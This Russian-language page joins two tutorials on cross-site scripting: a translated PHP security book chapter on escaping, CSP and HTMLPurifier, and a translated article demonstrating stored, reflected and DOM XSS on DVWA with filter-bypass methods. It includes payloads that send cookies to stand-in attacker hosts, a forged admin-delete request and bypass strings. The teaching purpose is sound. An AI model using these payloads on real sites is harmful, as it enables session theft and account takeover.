Что такое межсайтовое выполнение сценариев

Книга «Безопасность в PHP» (часть 1)
Книга «Безопасность в PHP» (часть 2)

Межсайтовый скриптинг (XSS) — пожалуй, самый типичный вид уязвимостей, широко распространённых в веб-приложениях. По статистике, около 65 % сайтов в той или иной форме уязвимы для XSS-атак. Эти данные должны пугать вас так же, как пугают меня.

Что такое межсайтовый скриптинг?

XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.

Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.

Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.

Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.

Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.

Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.

Внедрённые скрипты могут быть использованы для самых разных задач. Это:

• кража кук и данных авторизации,
• выполнение HTTP-запросов от имени пользователя,
• перенаправление пользователей на заражённые сайты,
• получение доступа на чтение и изменение локальных хранилищ браузера,
• выполнение сложных расчётов и отправка результатов на сервер злоумышленника,
• применение эксплойтов к браузеру и загрузка зловредов,
• эмулирование активности пользователя для кликджекинга,
• перезапись или получение контроля над приложениями браузера,
• атаки на расширения браузера —

и т. д., продолжать можно до бесконечности.

Подмена интерфейса (UI Redress, clickjacking)

В то время как прямая атака на сервер полностью самостоятельна, кликджекинг неразрывно связан с межсайтовым скриптингом, так как использует подобные наборы векторов для атаки. Иногда их сложно различить, потому что одна методика атаки помогает успешному выполнению другой.

Подменой интерфейса называется любая попытка атакующего изменить пользовательский UI веб-приложения. Это позволяет атакующему внедрять новые ссылки, новый HTML-код, чтобы изменить размеры, скрыть/перекрыть оригинальный интерфейс и т. д. Если такая атака выполняется для обмана пользователя, чтобы он нажал на внедрённую ссылку или кнопку, тогда обычно её относят к кликджекингу.

Большая часть этой главы посвящена подмене интерфейса с помощью XSS. Однако есть и другие способы подмены, когда для внедрения используются фреймы. Подробнее мы рассмотрим это в главе 4.

Пример межсайтового скриптинга

Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:

<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>

Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.

Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.

У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.

Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.

 <script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
 </script>

Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).

Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.

Типы XSS-атак

Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.

Отражённая XSS-атака

Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!

Хранимая XSS-атака

Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к хранимым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.

XSS-атака на основе DOM

Атака на основе DOM может быть как отражённой, так и хранимой. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.

Межсайтовый скриптинг и контекст внедрения

XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.

Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:

<div style="background:<?php echo $colour ?>;">

$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">

Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.

Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">

Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!

Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.

Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.

Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.

Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.

Давайте рассмотрим ещё один пример:

<a href="http://www.example.com">Example.com</a>

Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:

1. Существует контекст URL, т. е. значение атрибута href.
2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
3. Есть контекст тела HTML, т. е. текст внутри <a> тега.

Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.

Защита от межсайтового скриптинга

Защититься от XSS возможно, но защита должна применяться последовательно, без исключений и упрощений, желательно с самого начала разработки веб-приложения, пока у всех в памяти свежи воспоминания о рабочем процессе. Внедрение защиты на более поздних этапах может быть дорогостоящим делом.

Проверка входных данных

Проверка ввода — только первая линия защиты веб-приложения. При таком типе защиты мы знаем лишь то, как сейчас используются ненадёжные данные, и на этапе получения данных не можем предсказать, где и как они будут дальше применяться. Сюда относятся практически все текстовые данные, так как мы всегда должны обеспечивать пользователю возможность написания кавычек, угловых скобок и других символов.

Проверка работает лучше всего благодаря предотвращению XSS-атак на данные, которым присущи предельные значения. Допустим, целое число не должно содержать специфические для HTML символы. Параметры, такие как название страны, должны соответствовать заранее заданному списку реальных стран, и т. д.

Проверка входных данных помогает контролировать данные с определённым синтаксисом. Например, допустимый URL-адрес должен начинаться с префикса http:// или https://, а не с гораздо более опасных конструкций javascript: или data:. По сути, все адреса, полученные из непроверенных входных данных, должны проверяться на наличие этих тегов. Экранирование URI javascript: или data: имеет такой же эффект, как экранирование легального URL-адреса. То есть вообще никакого эффекта.

Хотя проверка входных данных не может блокировать всю зловредную полезную нагрузку при XSS-атаке, она способна остановить наиболее очевидные типы атаки. Проверка входных данных подробно рассматривалась во второй части книги.

Экранирование (а также кодирование)

Экранирование данных на выходе позволяет гарантировать, что данные не будут ошибочно восприняты принимающим парсером или интерпретатором. Очевидные примеры — знаки «меньше» и «больше», которые обозначают HTML-теги. Если позволить этим символам быть вставленными из ненадёжных входных данные, злоумышленник сможет вводить новые теги, которые браузер будет отрисовывать. Обычно эти символы заменяются последовательностями > и $lt;.

Замена символов предполагает сохранение смысла экранированных данных. Экранирование просто заменяет символы, имеющие определённое значение, альтернативными. Обычно используется шестнадцатеричное представление или что-то более читабельное, например HTML-последовательности (если их применение безопасно).

Как упоминалось в главе о контекстах, способ экранирования зависит от того, какого типа содержимое внедряется. Экранирование HTML-кода отличается от экранирования JavaScript, которое, в свою очередь, отличается от экранирования адресов. Применение неверной экранирующей стратегии для определённого контекста способно привести к неэффективности защиты, к созданию уязвимости, которой может воспользоваться злоумышленник.

Для облегчения экранирования рекомендуется применять отдельный класс, разработанный с этой целью. PHP не может предоставить все необходимые экранирующие функции из коробки, а многое из предлагаемого не так безопасно, как считает большинство разработчиков.
Давайте рассмотрим правила экранирования, применяемые к наиболее распространённым контекстам: телу HTML, атрибутам HTML, JavaScript, URL и CSS.

Никогда не вводите данные, за исключением ввода из доверенных мест

Прежде чем изучать стратегии экранирования, необходимо убедиться, что шаблоны вашего веб-приложения не теряют (misplace) данные. Это относится к внедрению данных в чувствительные области HTML, которые дают злоумышленнику возможность влиять на порядок обработки разметки и которые обычно не требуют экранирования при использовании программистом. Рассмотрим примеры, где [… ] — это внедряемые данные:

<script>...</script>

<!--...-->

<div ...="test"/>

<... href="http://www.example.com"/>

<style>...</style>

Каждое из вышеперечисленных мест опасно. Разрешение данных в теге script, вне строковых и числовых литералов, позволяет при атаке внедрить JavaScript. Данные, помещённые в HTML-комментарии, могут быть использованы для запуска условных выражений (conditionals) Internet Explorer и для других непредвиденных действий. Следующие два места более очевидны, так как никто не позволил бы злоумышленнику влиять на свои теги или названия атрибутов — мы как раз пытаемся это предотвратить! Наконец, как и в случае со скриптами, мы не можем позволить злоумышленникам внедряться непосредственно в CSS, так как это даст возможность проводить атаки подмены интерфейса и выполнять скрипты, используя поддерживаемую в Internet Explorer функцию expression().

Всегда экранируйте HTML до внедрения данных в HTML-тело

Контекст HTML-тела ссылается на текстовое содержимое, которое заключено в теги. Например, текст между тегами <body>, <div> или любыми другими парными тегами для хранения текста. Данные, внедряемые в содержимое любых тегов, должны быть экранированы под HTML.

Экранирование HTML хорошо известно в PHP в виде функции htmlspecialchars().

Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст

Контекст HTML-атрибута ссылается на все значения элемента, за исключением свойств, которые интерпретируются браузером как CDATA. Это исключение довольно запутанное, но в основном оно относится к HTML-стандартам, основанным не на XML, где JavaScript может включаться в атрибуты события в неэкранированном виде. Для всех других атрибутов у вас есть следующие два варианта:

1. Если значение атрибута в кавычках, то вы МОЖЕТЕ использовать экранирование HTML.
2. Однако если значение задаётся без кавычек, то вы ДОЛЖНЫ использовать экранирование HTML-атрибутов.

Также второй вариант применяется, когда правила приведения атрибутов могут быть неясными. Например, в HTML5 считается вполне допустимым использовать значения атрибутов без кавычек, и в реальных проектах уже встречается много примеров такого «умного» подхода. В любой непонятной ситуации действуйте с осторожностью.

Всегда экранируйте JavaScript до внедрения в значения данных

Значения данных в JavaScript в основном строковые. Поскольку вы не можете экранировать числа, есть дополнительное правило: всегда проверяйте валидность чисел…

Политика защиты контента

Ключевой элемент всех наших разговоров о межсайтовом скриптинге — то, что браузер без вопросов выполняет весь JavaScript-код, который получает от сервера, независимо от источника внедрения кода. При получении HTML-документа браузер не может узнать, какие из вложенных ресурсов безопасны, а какие нет. А если бы мы могли это изменить?

Политика защиты контента (CSP) — это HTTP-заголовок, передающий белый список надёжных источников ресурсов, которым браузер может доверять. Любой источник, не указанный в списке разрешённых, причисляется к ненадёжным и просто игнорируется. Рассмотрим следующее:

X-Content-Security-Policy: script-src 'self'

Этот заголовок CSP сообщает браузеру, что нужно доверять только тем адресам источника JavaScript, которые указывают на текущий домен. После браузер будет загружать скрипты из этого источника, но полностью игнорировать все остальные. Это означает, что http://attacker.com/naughty.js не загрузится, если злоумышленник каким-то образом сумеет его внедрить. Кроме того, все встроенные скрипты, например теги

Если нужно использовать JavaScript из другого источника, помимо исходного адреса, то мы можем включить его в белый список. Например, давайте добавим адрес CDN jQuery.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com

Можно добавить другие директивы ресурсов, например путь к таблице CSS-стилей, разделив точкой с запятой директивы и разрешённые адреса.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

Формат значения заголовка очень прост. Значение состоит из директивы script-src, после которой идёт список разделённых пробелами источников, применяемый в качестве белого списка. Источником может быть ключевое слово в кавычках, такое как ‘self’, или URL. Значение URL-адреса сопоставляется с полученным списком. Информация, отсутствующая в URL, может быть свободно изменена в документе HTML. Указание http://code.jquery.com предотвращает загрузку скриптов с http://jquery.com или http://domainx.jquery.com, потому что мы явным образом задали разрешённые домены. Чтобы разрешить все поддомены, можно указать просто http://jquery.com. То же самое относится и к локальным путям, портам, URL-схемам и т. д.

Суть белого списка CSP проста. Если вы создадите список ресурсов конкретного вида, то всё, что в него не войдёт, не загрузится. Если вы не определите список для типа ресурсов, то браузер по умолчанию отбрасывает все ресурсы этого типа.

Поддерживаются следующие директивы ресурсов:

• connect-src: ограничивает источники, к которым можно подключиться с помощью xmlhttprequest, веб-сокетов и т. д.
• font-src: ограничивает источники для веб-шрифтов.
• frame-src: ограничивает URL-адреса для фреймов.
• img-src: ограничивает источники изображений.
• media-src: ограничивает источники видео и аудио.
• object-src: ограничивает источники для Flash и других плагинов.
• script-src: ограничивает источники для файлов скриптов.
• style-src: ограничивает источники для CSS.

Для задания безопасных стандартных параметров существует специальная директива default-src, с помощью которой можно изначально добавить в белый список ссылки для всех перечисленных категорий.

X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com

Это позволит ограничить разрешённые ресурсы текущим доменом, но при этом также добавить исключение для скрипта jQuery. Такое использование сразу закрывает все ненадёжные источники и позволяет разрешать только те, которые считаются заведомо безопасными.

Кроме URL, разрешённым источникам можно назначить следующие ключевые слова, которые должны быть записаны в одинарных кавычках:

‘none’ ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

Вы заметили слово unsafe, т. е. «небезопасно»? Лучший способ применения CSP — не выбирать подходы, которые выбирают злоумышленники. Они хотят внедрять inline-скрипты или другие ресурсы? Если мы сами избежим inline-применения, то наши веб-приложения могут приказать браузерам игнорировать всё inline-содержимое без исключения. Будем использовать внешние файлы скриптов и функции addEventListener() вместо атрибутов событий. Но раз вы придумываете для себя правило, то не обойтись и без нескольких полезных исключений, не так ли? Не так. Забудьте о любых исключениях. Включение параметра ‘unsafe-inline’ противоречит самой цели применения CSP.

Ключевое слово ‘none’ означает именно «ничего». Если установить его в качестве источника ресурса, то параметр заставит браузер игнорировать все ресурсы указанного типа. Это добавит вам мелких проблем, но я советую сделать что-то наподобие следующего примера, чтобы белый список вашего CSP всегда ограничивался только тем, что он разрешает явно:

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

И последнее предостережение. Поскольку CSP — новое решение, вам потребуется дублировать заголовок X-Content-Security-Policy, чтобы убедиться, что его поймут и WebKit-браузеры, такие как Safari и Chrome. Подарок от WebKit для вас.

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

Определение браузера пользователя

Очистка HTML

В какой-то момент веб-приложение столкнётся с необходимостью включать задаваемый извне HTML-код в свою веб-страницу без применения к нему экранирования. Наглядные примеры: цитирование сообщений на форуме, комментарии в блоге, формы редактирования и записи из RSS или Atom. Если такие данные подвергнуть экранированию символов, то они будут искажены и испорчены, поэтому вместо экранирования здесь приходится тщательно фильтровать данные, чтобы убедиться, что все опасные элементы устранены.

Вы заметили, что я написал об HTML-коде «задаваемый извне», а не «создаваемый извне»? Множество веб-приложений позволяют пользователям вместо HTML-разметки включать такие альтернативы, как BBCode, Markdown или Textile. Распространённая ошибка в PHP — мнение, что эти языки разметки предотвращают XSS-атаки. Полный бред. Цель этих языков — позволить пользователям проще и легче создавать форматированный текст, обходясь без работы с HTML. Не все знают HTML, да и сам этот язык не в точности соответствует своим SGML-корням. Вручную создавать длинные блоки форматированного текста в HTML — долго и мучительно.

HTML из таких входных данных генерируется на сервере. Это подразумевает под собой доверительные операции, само доверие к которым — распространённая ошибка. Получаемый в результате таких операций HTML по-прежнему «заданный извне». Мы не можем считать его безопасным. Это более очевидно на примере ленты блога, чьи записи ещё до момента генерирования являются валидным HTML.

Рассмотрим следующий фрагмент кода:

[url=javascript:alert(‘I can haz Cookie?n’+document.cookie)]Free Bitcoins Here![/url]

BB-код ограничивает HTML по умолчанию, но это не даёт абсолютной неуязвимости. Например, большинство генераторов не заметят использования HTTP URL’ов и пропустят их. Выделение Markdown:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://attacker.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown — популярная альтернатива для написания HTML, но он также позволяет авторам смешивать HTML с Markdown. Это действительно так, генераторы Markdown не обращают внимания на включённую XSS-нагрузку.

Очевидно, необходимо применять комплекс мер по экранированию HTML независимо от того, какой тип разметки мы собираемся включать в выходной поток приложения после того, как завершено генерирование и прочие операции. Никаких исключений. Входные данные остаются ненадёжными, пока мы не обработали их и не убедились в их безопасности.

Очистка HTML — это трудоёмкий процесс парсинга входных данных, применения списка разрешённых элементов, атрибутов и других необходимых вещей. Занятие не для слабонервных, здесь очень легко ошибиться, а сам PHP страдает от множества небезопасных библиотек, авторы которых утверждают, что всё делают правильно. Поэтому не выбирайте «модные» решения, пишите их самостоятельно.

Единственная библиотека в PHP, которая действительно выдаёт безопасный HTML, — HTMLPurifier. Она активно поддерживается, в значительной степени проверена, и я настоятельно рекомендую её. С HTMLPurifier достаточно просто работать, по сути, требуется только задать разрешённые элементы:

// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Не используйте другие библиотеки в качестве HTML-обработчиков, если не уверены в том, что делаете.

Внешняя защита приложения

[Продолжение следует]

Автор: Ahmed Elhady Mohamed
Перевод: www.SecurityLab.ru

Введение

В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться атакующим для обхода таких механизмов безопасности как политика единства происхождения. Согласно данным Symantec за 2007 год, XSS уязвимости составили 80.5% от общего числа брешей, обнаруженных на сайтах. Рейтинг опасности таких уязвимостей может варьироваться в зависимости от важности данных, хранящихся на уязвимом сайте и существующих механизмов защиты».
Вкратце, XSS или CSS (Cross-site Scripting, аббревиатура, которая также означает Cascading Style Sheets – таблицы каскадных стилей) является довольно распространенной уязвимостью среди Web-приложений. XSS позволяет атакующему внедрить вредоносный код на страницу и отправить его обратно в браузер пользователя, где этот код будет выполнен. Причиной этому являются доверительные отношения разработчика приложения к входным данным или некорректная фильтрация входных данных.

XSS опасен

XSS действительно является уязвимостью высокой степени опасности, поскольку она может использоваться для изменения DOM-модели сайта, что в свою очередь позволит похитить учетных данных администратора сайта и получить полный контроль над уязвимым приложением.

Какие цели преследует атакующий?

• Изменение настроек
• Кража файлов куки
• Размещение ложной рекламы
• Хищение токенов форм для проведения CSRF атак
• И другое, необходимо творчески подходить к эксплуатации XSS

Типы XSS

Существует три типа XSS уязвимостей:

• Постоянный (хранимый) XSS
• Вредоносный код храниться на сайте или сервере
• Непостоянный (отраженный) XSS
• Пользователю необходимо посетить специально сформированную ссылку
• XSS в DOM-модели
• Источник проблемы находится в клиентском сценарии

Далее мы подробно обсудим каждый их этих типов.

Постоянный (хранимый) XSS

Википедия характеризует хранимый XSS как наиболее разрушительный тип атак. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений.
Другими словами, хранимый XSS возникает, когда разработчики осуществляют некорректную фильтрацию при сохранении входных данные в БД на сервере или в при записи этих данных в файлы, а затем выводят эти данные в браузер пользователю.

Демонстрация хранимого XSS

Ниже приведен пример PHP сценария, уязвимого к хранимому XSS:

<?php

if(isset($_POST['btnSign']))

{

$message=trim($_POST['mtxMessage']);

$name=trim($_POST['txtName']);

// Обработка введенного значения переменной message

$message = stripslashes($message);

$message = mysql_real_escape_string($message);

// Обработка введенного значения переменной name

$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES (

'$message','$name');";

$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');

}

?>

В коде не осуществляется корректная обработка параметров “message” и “name” перед сохранением данных в таблицу guestbook. Таким образом, при выводе этих данных в браузер пользователя существует возможность выполнение вредоносного JavaScript кода.

В демонстрационных целях при попробуем проэксплуатировать эту уязвимость на примере DVWA.

После отправки этой формы можем посмотреть на выполнение нашего JavaScript кода:

Непостоянный (отраженный) XSS

Согласно Wikipedia, непостоянный XSS является наиболее распространенным типом XSS. Непостоянный XSS имеет место, когда данные, предоставляемые Web-клиентов в строке запроса или HTML форме, используются для генерации ответа клиенту без обработки этих данных.

Демонстрация отраженного XSS

Ниже приведен пример кода, уязвимого к отраженному XSS:

<?php

if(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){

$isempty=true;

}

else{

echo '<pre>';

echo 'Hello' . $_GET['name'];

echo '</pre>';

}

?>

Как видно из примера, очистка данных не осуществляется для параметра “name” перед его выводом в браузера пользователя. Таким образом, если в него внедрить JavaScript сценарий, это сценарий будет выполнен.

Мы воспользуемся приложением DVWA для демонстрации этой уязвимости:

Давайте внедрим код “<script>alert(“xss”);</script>” в элемент формы:

XSS в DOM-модели

Согласно Wikipedia, XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов.

Таким образом, XSS возникает непосредственно внутри JavaScript сценария. Примером к этой уязвимости может служить сценарий, который получает данные из URL через location.* DOM или посредством XMLHttpRequest запроса, и затем использует их без фильтрации для создания динамических HTML объектов.

Демонстрация XSS в DOM-модели

Для примера мы воспользуемся сценарием, который позволяет пользователю выбрать язык интерфейса. Язык по умолчанию передается посредством URL в параметре “default”. Обработка языка интерфейса осуществляется следующим образом:

<select>

<script>

document.write("<OPTION value=1>"+document.location.href.substring

(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script>

</select>

Доступ к этой странице осуществляется по следующему адресу: http://www.some.site/page.html?default=French

Для эксплуатации XSS уязвимости в DOM-модели мы выполним следующий запрос:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

Исходный JavaScript сценарий не ожидает, что входные данные могут содержать HTML код, поэтому просто выводит их на странице. Затем браузер обрабатывает этот код и выполняет сценарий alert(document.cookie).

Теперь давайте рассмотрим некоторые методы эксплуатации уязвимостей межсайтового скриптинга.

Методы эксплуатация XSS

Далеко не все методы фильтрации помогают защитить сайт от XSS. Ниже мы рассмотрим самые популярные варианты фильтрации данных и техники обхода таких фильтров.

Метод 1: замена «<script>» на пустую строку

Ниже приведен код, который, несмотря на фильтрацию, уязвим к XSS.

<?php
if(!array_key_exists («name», $_GET) || $_GET[‘name’] == NULL || $_GET[‘name’] == »){
$isempty = true;
} else {
echo ‘<pre>’;
echo ‘Hello ‘ . str_replace(‘<script>’, », $_GET[‘name’]);
echo ‘</pre>’;
}
?>

В сценарии проверяется соответствие строке «<script>» в нижнем регистре. Самый распространенный метод обхода такой фильтрации состоит в замене строки «<script>» строкой «<SCRIPT>». Так, изменив регистр, можно обойти описанную фильтрацию.

Также есть еще один способ обойти такую фильтрацию:

<script type=text/javascript>alert(«XSS»)</script>

Стоит отметить, что использование alert(“XSS”) для тестирования XSS нежелательно, поскольку большинство сайтов блокируют сценарии по ключевому слову «XSS».

Метод 2: использование magic quotes

Применяя этот метод, разработчик использует фильтрацию функции «addslashes()» языка PHP, которая добавляет символ «» перед любым специальным символом. Таким образом, код, написанный на JavaScript, не будет выполнен.

Существует несколько способов обойти такую фильтрацию. Остановимся на двух из них.

1. Самый простой способ обойти такой фильтр – не использовать кавычки. Например, присваивать значение переменной, а затем выполнять эту переменную, что продемонстрировано в этом коде: <script>var val= 1; alert(val)</script>
2. Второй способ менее тривиален. Для обхода фильтрации вторым способом используется стандартная функция, переводящая числовое значение в ASCII-код. Полная таблица ASCII-кодов расположена по адресу http://www.asciitable.com. Таблица ASCII-кодов поможет в написании того, чего хотите Вы. Также можно использовать дополнение к браузеру Firefox – hackbar. Дополнение hackbar может быть полезно при конвертации данных из ASCII-кода в числовые значения. В данном примере строка «XSS» будет представлена как «120 115 115». Итак, зная числовые значения, необходимо только узнать название функции, конвертирующей числовые значения в ASCII-код. Эта функция называется «String.fromCharCode()», используя её в данном примере, можно обойтись совсем без кавычек.
   <script>alert(String.fromCharCode(120, 115, 115)</script>
   Данный код выведет на экран наше сообщение (в данном случае — «XSS»). Вышеописанный метод очень эффективен для обхода фильтрации magic quotes.
